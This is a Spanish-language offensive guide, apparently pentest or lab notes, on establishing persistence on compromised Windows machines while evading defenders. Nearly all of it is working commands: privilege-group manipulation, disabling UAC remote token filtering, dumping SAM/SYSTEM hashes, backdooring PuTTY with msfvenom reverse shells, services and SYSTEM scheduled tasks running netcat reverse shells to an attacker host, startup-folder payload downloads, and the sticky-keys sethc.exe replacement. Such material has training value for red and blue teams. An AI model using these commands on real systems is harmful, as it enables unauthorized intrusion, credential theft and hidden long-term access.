Persistencia en entornos Windows

Persistencia Local

Manipulación de cuentas sin privilegios

Para evitar que el blue team nos detecte al usar la cuenta Administrator debido que, esta está siendo monitoreanda, podemos manipular una cuenta con pocos privilegios.

En caso de tener una cuenta con privilegios de administrador, podemos usarla para darle más privilegios al usuario que deseamos agregándolo al grupo Administrators:

net localgroup administrators <username> /add

Con esto, podremos acceder a la máquina usando RDP, WinRM, u otro servicio de administración remota disponible.

En caso de evitar ser detectados por usar el grupo Administrators, podemos usar el grupo Backup Operators. Los usuarios este grupo no tienen permisos de administrador, pero podrán leer/escribir cualquier archivo o registro del sistema, ignorando cualquier DACL configurado (podríamos leer los archivos SAM y SYSTEM):

net localgroup "Backup Operators" <username> /add

También, podemos agregar el usuario al grupo Remote Management Users para poder acceder usando servicios remotos, como RDP, WinTM u otro:

net localgroup "Remote Management Users" <username> /add

Si queremos acceder usando WinRM, podemos usar la herramienta evil-winrm:

evil-winrm -i <target_ip> -u <username> -p <password>

Si validamos que estamos en el grupo Backup Operators usando el comando whoami /groups, y este tiene el atributo Group used for deny only, significa que está deshabilitado, por lo tanto, no podremos ver todos los archivos.

Esto se debe a una de las características implementadas por el UAC (LocalAccountTokenFilterPolicy), la cual, elimina de cualquier cuenta local sus privilegios de administrador al iniciar sesión de forma remota. Si bien puede elevar sus privilegios a través de UAC desde una conexión con GUI, si usa WinRM, está confinado a un token de acceso limitado sin privilegios de administrador.

Para poder recuperar los privilegios de administración de su usuario, tendremos que deshabilitar LocalAccountTokenFilterPolicy cambiando la siguiente clave de registro a 1:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

Ahora, podemos hacer una copia de los archivos SAM y SYSTEM:

reg save hklm\system system.bak
reg save hklm\sam sam.bak
download system.bak
download sam.bak

Con el script de secretsdump.py podemos dumpear los hashes:

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

Archivos Backdoor

Otra forma para establecer persistencia, es modificar los archivos con los que sabemos que el usuario interactúa regularmente. Al modificarlos, podemos plantar un backdoor que se ejecutará cada vez que el usuario interactúe con él.

Para evitar ser descubiertos, debemos modificar los archivos, pero estos no pueden dejar de funcionar.

Si encontramos un ejecutable en el escritorio, es muy probable que el usuario lo use con frecuencia.

En este caso, modificaremos el binario de PuTTY, el cual, lo modificaremos usando msfvenom para que cuando se ejecute, cree un subproceso con una shell reversa, y funcione correctamente:

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -b "\x00" -f exe -o puttyX.exe

Abusando de servicios

Los servicios de Windows son excelentes para configurar la persistencia, debido a que, podemos ejecutarlos en segundo plano cuando se inicia la máquina víctima.

Podemos crear e iniciar un servicio (con el nombre que deseemos) usando el siguiente comando:

sc.exe create BackdoorService binPath= "net user Administrator Password321" start= auto
sc.exe start BackdoorService

En este caso, estamos reseteando la contraseña del usuario Administrator cuando se inicia el servicio, además, el servicio se inicia automáticamente.

Si queremos tener una shell reversa, debemos usar los siguientes comandos:

  • Generación de binario malicioso:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f exe-service -o rev-svc.exe

Subimos el payload y creamos el servicio:

sc.exe create BackdoorService binPath= "C:\Windows\rev-svc.exe" start= auto
sc.exe start BackdoorService

Abusando de tareas programadas

La forma más común de programar tareas es utilizando el programador de tareas integrado de Windows. El programador de tareas permite un control granular de cuándo comenzará su tarea, lo que le permite configurar tareas que se activarán a horas específicas, se repetirán periódicamente o incluso se activarán cuando ocurran eventos específicos del sistema.

Se creará una tarea que ejecutará una shell reversa cada minuto:

schtasks /create /sc minute /mo 1 /tn <task_name> /tr "c:\tools\nc64 -e cmd.exe <attacker_ip> <attacker_port>" /ru SYSTEM

Con este comando creamos una tarea y correrá una shell reversa usando netcat. Las opciones /sc y /mo indican que la tarea se ejecutará cada minuto, mientras que, la opción /ru indica que usará los privilegios de SYSTEM.

Para validar que esta se creó de forma correcta, usamos el siguiente comando:

schtasks /query /tn <task_name>

Persistencia activada por inicio de sesión

Cada usuario tiene una carpeta en C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp donde, podemos dejar los ejecutables para dejar los binarios a ejecutar cuando el usuario inicia sesión.

Si queremos forzar se ejecute para todos los usuarios, podemos dejar el binario en la carpeta C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.

Podemos generar una shell reversa usando msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f exe -o revshell.exe

Para subir el payload a la máquina víctima, podemos usar un servidor web:

  • Servidor web:

python3 -m http.server
  • Descarga desde powershell:

wget http://<attacker_ip>:8000/revshell.exe -O "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\revshell.exe"

Backdoor de pantalla de inicio de sesión/RDP

Si tenemos acceso físico a la máquina (o vía RDP), podemos hacer un backdoor en la pantalla de inicio de sesión para acceder a una terminal sin tener credenciales válidas para una máquina.

Para validar si tenemos sticky keys, podemos presionar las teclas CTRL, ALT y DEL sin mantener las otras presionadas, si cumple el mismo efecto que el presionarlas juntas, significa que tenemos este comportamiento.

La persistencia con este método se realiza abusando del atajo habilitado por defecto de cuando se presiona 5 veces la tecla SHIFT. En este atajo, por lo general aparace la siguiente ventana:

Luego de esto, Windows ejecutará el binario C:\Windows\System32\sethc.exe. Si somos capas de cambiar dicho binario por nuestro payload, podríamos ejecutarlo con el atajo, incluso en la pantalla de inicio de sesión antes de ingresar las credenciales.

Una forma de hacer esto, es reemplazando el binario por cmd.exe para obtener una shell.

Para reemplazar el binario, primero debemos ser dueños del binario:

takeown /f C:\Windows\System32\sethc.exe

Le damos permisos a nuestro usaurio para modificarlo, y lo reemplazamos:

icacls C:\Windows\System32\sethc.exe /grant Administrator:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

Recordar de hacer un respaldo de este antes de su modificación.

Luego de esto, validamos que en la pantalla de inicio, luego de apretar 5 veces la tecla SHIFT, se nos abre una terminal:

Persistencia a través de servicios existentes

La forma más fácil es cargar la web shell en el directorio de web del servidor. Esto nos dará acceso, pero con los privilegios del usuario configurado en el IIS (que por defecto, es iis apppool\defaultapppool). La gracia de este usuario, es que tiene el permiso SeImpersonatePrivilege.

Podemos usar la siguiente web shell en ASP.NET, el cual, debe estar en el directorio C:\inetpub\wwwroot:

Ahora vamos a la URL http://<target_ip>/cmdasp.aspx:

Last updated